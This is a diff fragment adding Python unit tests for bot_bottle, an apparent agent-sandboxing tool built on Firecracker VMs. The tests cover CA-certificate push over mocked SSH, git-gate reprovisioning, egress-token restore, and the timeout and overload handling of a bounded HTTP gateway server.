+        # class). Verify the args to ensure it can reach the right endpoints.
+        with tempfile.TemporaryDirectory() as td:
+            with patch.object(infra_vm, "_infra_dir", return_value=Path(td)), \
+                    patch.object(infra_vm, "expected_version", return_value="v-current"), \
+                    patch.object(infra_vm, "_health_ok", return_value=False), \
+                    patch.object(infra_vm, "stop"), \
+                    patch.object(infra_vm, "ensure_built"), \
+                    patch(_ORCH_CLS) as orch_cls, patch(_GW_CLS) as gw_cls, \
+                    patch(_RECONCILE) as reconcile:
+                orch_cls.return_value.url.return_value = "http://10.243.255.1:8099"
+                FirecrackerInfraService().ensure_running()
+        call_args = reconcile.call_args
+        # First arg: the orchestrator's host URL.
+        self.assertEqual("http://10.243.255.1:8099", call_args.args[0])
+        # Second arg: the gateway service instance (not the class).
+        self.assertIs(gw_cls.return_value, call_args.args[1])


 if __name__ == "__main__":
@@ -0,0 +1,280 @@
+"""Unit: bring-up reconcile — CA push, git-gate reprovision, egress tokens.
+
+Covers attach_bottled_agents_to_gateway (reconcile.py): each per-bottle step
+fires with correct args, failures on one bottle don't block others, and the
+egress-token restore path works end-to-end. Does NOT spin up VMs or real SSH.
+"""
+
+from __future__ import annotations
+
+import json
+import tempfile
+import unittest
+from pathlib import Path
+from subprocess import CalledProcessError, CompletedProcess
+from unittest.mock import MagicMock, patch
+
+_RECONCILE = "bot_bottle.backend.firecracker.reconcile"
+
+
+class TestGuestIpFromConfig(unittest.TestCase):
+    def test_reads_ip_from_boot_args(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import _guest_ip_from_config
+        with tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False) as f:
+            json.dump({
+                "boot-source": {"boot_args": "console=ttyS0 ip=10.243.0.5:10.243.0.6:255.255.255.254"},
+            }, f)
+            name = f.name
+        self.assertEqual("10.243.0.5", _guest_ip_from_config(Path(name)))
+
+    def test_returns_empty_on_missing_file(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import _guest_ip_from_config
+        self.assertEqual("", _guest_ip_from_config(Path("/nonexistent/config.json")))
+
+    def test_returns_empty_on_bad_json(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import _guest_ip_from_config
+        with tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False) as f:
+            f.write("not-json")
+            name = f.name
+        self.assertEqual("", _guest_ip_from_config(Path(name)))
+
+
+class TestPushCa(unittest.TestCase):
+    def test_runs_three_ssh_commands_in_order(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import _push_ca
+        with tempfile.TemporaryDirectory() as td:
+            key = Path(td) / "key"
+            key.write_text("k")
+            with patch(f"{_RECONCILE}.subprocess.run") as run:
+                run.return_value = CompletedProcess([], 0)
+                _push_ca(key, "10.0.0.1", "-----BEGIN CERTIFICATE-----\n")
+        calls = run.call_args_list
+        self.assertEqual(3, len(calls))
+        # Each call's argv is a list; the remote command is the last element.
+        self.assertIn("mkdir", calls[0].args[0][-1])
+        self.assertIn("cat >", calls[1].args[0][-1])
+        self.assertIn("update-ca-certificates", calls[2].args[0][-1])
+
+    def test_passes_ca_pem_via_stdin(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import _push_ca
+        with tempfile.TemporaryDirectory() as td:
+            key = Path(td) / "key"
+            key.write_text("k")
+            with patch(f"{_RECONCILE}.subprocess.run") as run:
+                run.return_value = CompletedProcess([], 0)
+                _push_ca(key, "10.0.0.1", "MY-CA-PEM")
+        cat_call = run.call_args_list[1]
+        self.assertEqual("MY-CA-PEM", cat_call.kwargs.get("input"))
+
+    def test_raises_on_ssh_failure(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import _push_ca
+        with tempfile.TemporaryDirectory() as td:
+            key = Path(td) / "key"
+            key.write_text("k")
+            with patch(f"{_RECONCILE}.subprocess.run") as run:
+                run.side_effect = CalledProcessError(1, "ssh")
+                with self.assertRaises(CalledProcessError):
+                    _push_ca(key, "10.0.0.1", "pem")
+
+
+class TestReprovisionGitGate(unittest.TestCase):
+    def _make_state_dir(self, upstreams: list[dict[str, str]]) -> Path:
+        d = Path(tempfile.mkdtemp())
+        (d / "upstreams.json").write_text(json.dumps(upstreams))
+        (d / "git_gate_pre_receive.sh").write_text("#!/bin/sh")
+        (d / "git_gate_access_hook.sh").write_text("#!/bin/sh")
+        (d / "git_gate_entrypoint.sh").write_text("#!/bin/sh")
+        return d
+
+    def test_no_op_when_no_upstreams_json(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import _reprovision_git_gate
+        transport = MagicMock()
+        with tempfile.TemporaryDirectory() as td:
+            # The state dir exists but has no upstreams.json
+            with patch(f"{_RECONCILE}.git_gate_state_dir", return_value=Path(td)):
+                _reprovision_git_gate(transport, "bottle-123", "my-slug")
+        transport.exec.assert_not_called()
+
+    def test_calls_provision_git_gate_with_upstreams(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import _reprovision_git_gate
+        transport = MagicMock()
+        upstreams = [{
+            "name": "bot-bottle",
+            "upstream_url": "ssh://git@gitea.example/org/bot-bottle.git",
+            "upstream_host": "gitea.example",
+            "upstream_port": "22",
+            "identity_file": "/home/node/.ssh/id_ed25519",
+            "known_host_key": "ssh-ed25519 AAAA...",
+        }]
+        state_dir = self._make_state_dir(upstreams)
+        # Write the key file so identity_file falls back to state dir path.
+        (state_dir / "bot-bottle-key").write_bytes(b"PRIVATE")
+        try:
+            with patch(f"{_RECONCILE}.git_gate_state_dir", return_value=state_dir), \
+                    patch(f"{_RECONCILE}.provision_git_gate") as prov:
+                _reprovision_git_gate(transport, "bottle-abc", "my-slug")
+            prov.assert_called_once()
+            _, bottle_id, plan = prov.call_args.args
+            self.assertEqual("bottle-abc", bottle_id)
+            self.assertEqual(1, len(plan.upstreams))
+            self.assertEqual("bot-bottle", plan.upstreams[0].name)
+            # Key in state dir takes priority over identity_file in JSON.
+            self.assertEqual(str(state_dir / "bot-bottle-key"), plan.upstreams[0].identity_file)
+        finally:
+            import shutil; shutil.rmtree(state_dir, ignore_errors=True)
+
+    def test_falls_back_to_manifest_identity_file_when_no_key_in_state(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import _reprovision_git_gate
+        transport = MagicMock()
+        upstreams = [{
+            "name": "repo",
+            "upstream_url": "ssh://git@github.com/org/repo.git",
+            "upstream_host": "github.com",
+            "upstream_port": "22",
+            "identity_file": "/home/node/.ssh/id_ed25519",
+            "known_host_key": "",
+        }]
+        state_dir = self._make_state_dir(upstreams)
+        # No `repo-key` in state dir — static manifest path should be used.
+        try:
+            with patch(f"{_RECONCILE}.git_gate_state_dir", return_value=state_dir), \
+                    patch(f"{_RECONCILE}.provision_git_gate") as prov:
+                _reprovision_git_gate(transport, "bottle-xyz", "my-slug")
+            prov.assert_called_once()
+            _, _, plan = prov.call_args.args
+            self.assertEqual("/home/node/.ssh/id_ed25519", plan.upstreams[0].identity_file)
+        finally:
+            import shutil; shutil.rmtree(state_dir, ignore_errors=True)
+
+
+class TestAttachBottledAgentsToGateway(unittest.TestCase):
+    """Integration-level: the full reconcile loop against mocked SSH + gateway."""
+
+    def _make_run_dir(self, tmp: Path, slug: str, guest_ip: str) -> Path:
+        run_dir = tmp / slug
+        run_dir.mkdir()
+        key = run_dir / "bottle_id_ed25519"
+        key.write_text("PRIVATE")
+        cfg = {
+            "boot-source": {
+                "boot_args": f"console=ttyS0 ip={guest_ip}:{guest_ip}:255.255.255.254",
+            }
+        }
+        (run_dir / "config.json").write_text(json.dumps(cfg))
+        return run_dir
+
+    def _make_gateway(self, ca_pem: str = "-----BEGIN CERTIFICATE-----\n") -> MagicMock:
+        gw = MagicMock()
+        gw.ca_cert_pem.return_value = ca_pem
+        gw.provisioning_transport.return_value = MagicMock()
+        return gw
+
+    def test_skips_all_when_ca_fetch_fails(self) -> None:
+        from bot_bottle.backend.firecracker.gateway import FirecrackerGateway
+        from bot_bottle.backend.firecracker.reconcile import attach_bottled_agents_to_gateway
+        from bot_bottle.gateway import GatewayError
+        gw = MagicMock(spec=FirecrackerGateway)
+        gw.ca_cert_pem.side_effect = GatewayError("timeout")
+        with patch(f"{_RECONCILE}.cleanup.live_run_dirs", return_value=()):
+            attach_bottled_agents_to_gateway("http://orch:8099", gw)
+        # Nothing else is called when CA fetch fails.
+        gw.provisioning_transport.assert_not_called()
+
+    def test_ca_push_called_per_live_bottle(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import attach_bottled_agents_to_gateway
+        gw = self._make_gateway()
+        with tempfile.TemporaryDirectory() as td:
+            tmp = Path(td)
+            rd1 = self._make_run_dir(tmp, "agent-abc12", "10.243.0.5")
+            rd2 = self._make_run_dir(tmp, "agent-xyz99", "10.243.0.7")
+            with patch(f"{_RECONCILE}.cleanup.live_run_dirs", return_value=(rd1, rd2)), \
+                    patch(f"{_RECONCILE}.OrchestratorClient") as client_cls, \
+                    patch(f"{_RECONCILE}._push_ca") as push_ca, \
+                    patch(f"{_RECONCILE}._reprovision_git_gate"), \
+                    patch(f"{_RECONCILE}.subprocess.run",
+                          return_value=CompletedProcess([], 1)):
+                client_cls.return_value.list_bottles.return_value = []
+                attach_bottled_agents_to_gateway("http://orch:8099", gw)
+        # CA pushed to both bottles.
+        self.assertEqual(2, push_ca.call_count)
+
+    def test_per_bottle_ca_failure_does_not_block_others(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import attach_bottled_agents_to_gateway
+        gw = self._make_gateway()
+        with tempfile.TemporaryDirectory() as td:
+            tmp = Path(td)
+            rd1 = self._make_run_dir(tmp, "agent-fail1", "10.243.0.5")
+            rd2 = self._make_run_dir(tmp, "agent-ok99", "10.243.0.7")
+            with patch(f"{_RECONCILE}.cleanup.live_run_dirs", return_value=(rd1, rd2)), \
+                    patch(f"{_RECONCILE}.OrchestratorClient") as client_cls, \
+                    patch(f"{_RECONCILE}._push_ca",
+                          side_effect=[CalledProcessError(1, "ssh"), None]) as push_ca, \
+                    patch(f"{_RECONCILE}._reprovision_git_gate"), \
+                    patch(f"{_RECONCILE}.subprocess.run",
+                          return_value=CompletedProcess([], 1)):
+                client_cls.return_value.list_bottles.return_value = []
+                # Must not raise even though the first bottle's CA push fails.
+                attach_bottled_agents_to_gateway("http://orch:8099", gw)
+        # Both bottles were attempted.
+        self.assertEqual(2, push_ca.call_count)
+
+    def test_egress_token_restored_for_bottles_with_secret(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import attach_bottled_agents_to_gateway
+        gw = self._make_gateway()
+        with tempfile.TemporaryDirectory() as td:
+            tmp = Path(td)
+            rd = self._make_run_dir(tmp, "agent-tok11", "10.243.0.5")
+            bottles = [{"bottle_id": "bid-001", "source_ip": "10.243.0.5"}]
+            with patch(f"{_RECONCILE}.cleanup.live_run_dirs", return_value=(rd,)), \
+                    patch(f"{_RECONCILE}.OrchestratorClient") as client_cls, \
+                    patch(f"{_RECONCILE}._push_ca"), \
+                    patch(f"{_RECONCILE}._reprovision_git_gate"), \
+                    patch(f"{_RECONCILE}.reprovision_bottles") as reprov, \
+                    patch(f"{_RECONCILE}.subprocess.run",
+                          return_value=CompletedProcess([], 0, stdout="secret-key\n")):
+                client_cls.return_value.list_bottles.return_value = bottles
+                reprov.return_value = 1
+                attach_bottled_agents_to_gateway("http://orch:8099", gw)
+        reprov.assert_called_once()
+        _, secrets = reprov.call_args.args
+        self.assertIn("10.243.0.5", secrets)
+        self.assertEqual("secret-key", secrets["10.243.0.5"])
+
+    def test_git_gate_reprovision_called_with_bottle_id(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import attach_bottled_agents_to_gateway
+        gw = self._make_gateway()
+        with tempfile.TemporaryDirectory() as td:
+            tmp = Path(td)
+            rd = self._make_run_dir(tmp, "agent-git11", "10.243.0.5")
+            bottles = [{"bottle_id": "bid-git", "source_ip": "10.243.0.5"}]
+            with patch(f"{_RECONCILE}.cleanup.live_run_dirs", return_value=(rd,)), \
+                    patch(f"{_RECONCILE}.OrchestratorClient") as client_cls, \
+                    patch(f"{_RECONCILE}._push_ca"), \
+                    patch(f"{_RECONCILE}._reprovision_git_gate") as reprov_gw, \
+                    patch(f"{_RECONCILE}.subprocess.run",
+                          return_value=CompletedProcess([], 1)):
+                client_cls.return_value.list_bottles.return_value = bottles
+                attach_bottled_agents_to_gateway("http://orch:8099", gw)
+        reprov_gw.assert_called_once()
+        _, bottle_id_arg, slug_arg = reprov_gw.call_args.args
+        self.assertEqual("bid-git", bottle_id_arg)
+        self.assertEqual("agent-git11", slug_arg)
+
+    def test_run_dir_without_key_file_is_skipped(self) -> None:
+        from bot_bottle.backend.firecracker.reconcile import attach_bottled_agents_to_gateway
+        gw = self._make_gateway()
+        with tempfile.TemporaryDirectory() as td:
+            tmp = Path(td)
+            rd = self._make_run_dir(tmp, "agent-nokey", "10.243.0.5")
+            (rd / "bottle_id_ed25519").unlink()  # remove the key
+            with patch(f"{_RECONCILE}.cleanup.live_run_dirs", return_value=(rd,)), \
+                    patch(f"{_RECONCILE}.OrchestratorClient") as client_cls, \
+                    patch(f"{_RECONCILE}._push_ca") as push_ca, \
+                    patch(f"{_RECONCILE}._reprovision_git_gate"):
+                client_cls.return_value.list_bottles.return_value = []
+                attach_bottled_agents_to_gateway("http://orch:8099", gw)
+        push_ca.assert_not_called()
+
+
+if __name__ == "__main__":
+    unittest.main()
@@ -0,0 +1,79 @@
+"""Unit tests for shared gateway stdlib HTTP resource boundaries."""
+# pylint: disable=protected-access
+
+from __future__ import annotations
+
+import io
+import socket
+import unittest
+
+from bot_bottle.gateway.bounded_http import (
+    BodyReadError,
+    BoundedThreadingHTTPServer,
+    read_declared_body,
+)
+
+
+class _Handler:
+    pass
+
+
+class _TimeoutStream:
+    def read(self, _size: int = -1, /) -> bytes:
+        raise TimeoutError
+
+
+class TestDeclaredBody(unittest.TestCase):
+    def setUp(self) -> None:
+        self.left, self.right = socket.socketpair()
+
+    def tearDown(self) -> None:
+        self.left.close()
+        self.right.close()
+
+    def test_rejects_incomplete_body(self) -> None:
+        with self.assertRaisesRegex(BodyReadError, "incomplete"):
+            read_declared_body(
+                io.BytesIO(b"short"),
+                self.left,
+                "10",
+                maximum=100,
+                timeout_seconds=1,
+                require_length=True,
+            )
+
+    def test_maps_read_timeout(self) -> None:
+        with self.assertRaises(BodyReadError) as caught:
+            read_declared_body(
+                _TimeoutStream(),
+                self.left,
+                "1",
+                maximum=100,
+                timeout_seconds=1,
+                require_length=True,
+            )
+        self.assertEqual(408, caught.exception.status)
+
+
+class TestBoundedServer(unittest.TestCase):
+    def test_saturated_server_rejects_without_spawning_thread(self) -> None:
+        client, peer = socket.socketpair()
+        with BoundedThreadingHTTPServer(
+            ("127.0.0.1", 0), _Handler, max_workers=1,  # type: ignore[arg-type]
+        ) as server:
+            with client, peer:
+                # Directly reserve the only slot to model an in-flight handler.
+                self.assertTrue(
+                    server._request_slots.acquire(  # pylint: disable=consider-using-with
+                        blocking=False,
+                    ),
+                )
+                try:
+                    server.process_request(client, ("127.0.0.1", 1))
+                    self.assertIn(b"503 Service Unavailable", peer.recv(1024))
+                finally:
+                    server._request_slots.release()
+
+
+if __name__ == "__main__":
+    unittest.main()
@@ -23,6 +23,7 @@ from bot_bottle.gateway.bootstrap import (
    _DaemonManager,
    _argv_for_daemon,
    _env_for_daemon,
+    _pump,
    _selected_daemons,
 )
 from tests._bin import SLEEP
@@ -565,5 +566,26 @@ class TestMainEndToEnd(unittest.TestCase):
        self.assertIn("no daemons selected", out)


+class _FailingStream:
+    def __init__(self, *, closed: bool) -> None:
+        self.closed = closed
+
+    def readline(self) -> bytes:
+        raise ValueError("I/O operation on closed file")
+
+
+class TestOutputPump(unittest.TestCase):
+    def test_closed_stream_race_is_normal_completion(self) -> None:
+        with patch("bot_bottle.gateway.bootstrap._log") as log:
+            _pump("egress", _FailingStream(closed=True))  # type: ignore[arg-type]
+        log.assert_not_called()
+
+    def test_unexpected_io_failure_is_logged(self) -> None:
+        with patch("bot_bottle.gateway.bootstrap._log") as log:
+            _pump("egress", _FailingStream(closed=False))  # type: ignore[arg-type]
+        log.assert_called_once()
+        self.assertIn("output pump stopped", log.call_args.args[0])
+
+
 if __name__ == "__main__":
    unittest.main()
@@ -5,6 +5,7 @@ import subprocess
 import tempfile
 import threading
 import unittest
+import urllib.error
 import urllib.request
 from pathlib import Path
 from unittest import mock
@@ -486,6 +487,19 @@ class TestMalformedStatusHeader(unittest.TestCase):
        )
        self.assertEqual(500, status)

+    def test_backend_timeout_returns_503(self):
+        with mock.patch(
+            "bot_bottle.gateway.git_gate.http_backend.subprocess.run",
+            side_effect=subprocess.TimeoutExpired(["git", "http-backend"], 1),
+        ):
+            req = urllib.request.Request(
+                f"http://127.0.0.1:{self._port}/repo.git/info/refs",
+                method="GET",
+            )
+            with self.assertRaises(urllib.error.HTTPError) as raised:
+                urllib.request.urlopen(req, timeout=3)
+        self.assertEqual(503, raised.exception.code)
+

 class TestContentLengthBounds(unittest.TestCase):
    """PRD 0041: malformed or oversized Content-Length is rejected before
--- a/Show More
+++ b/Show More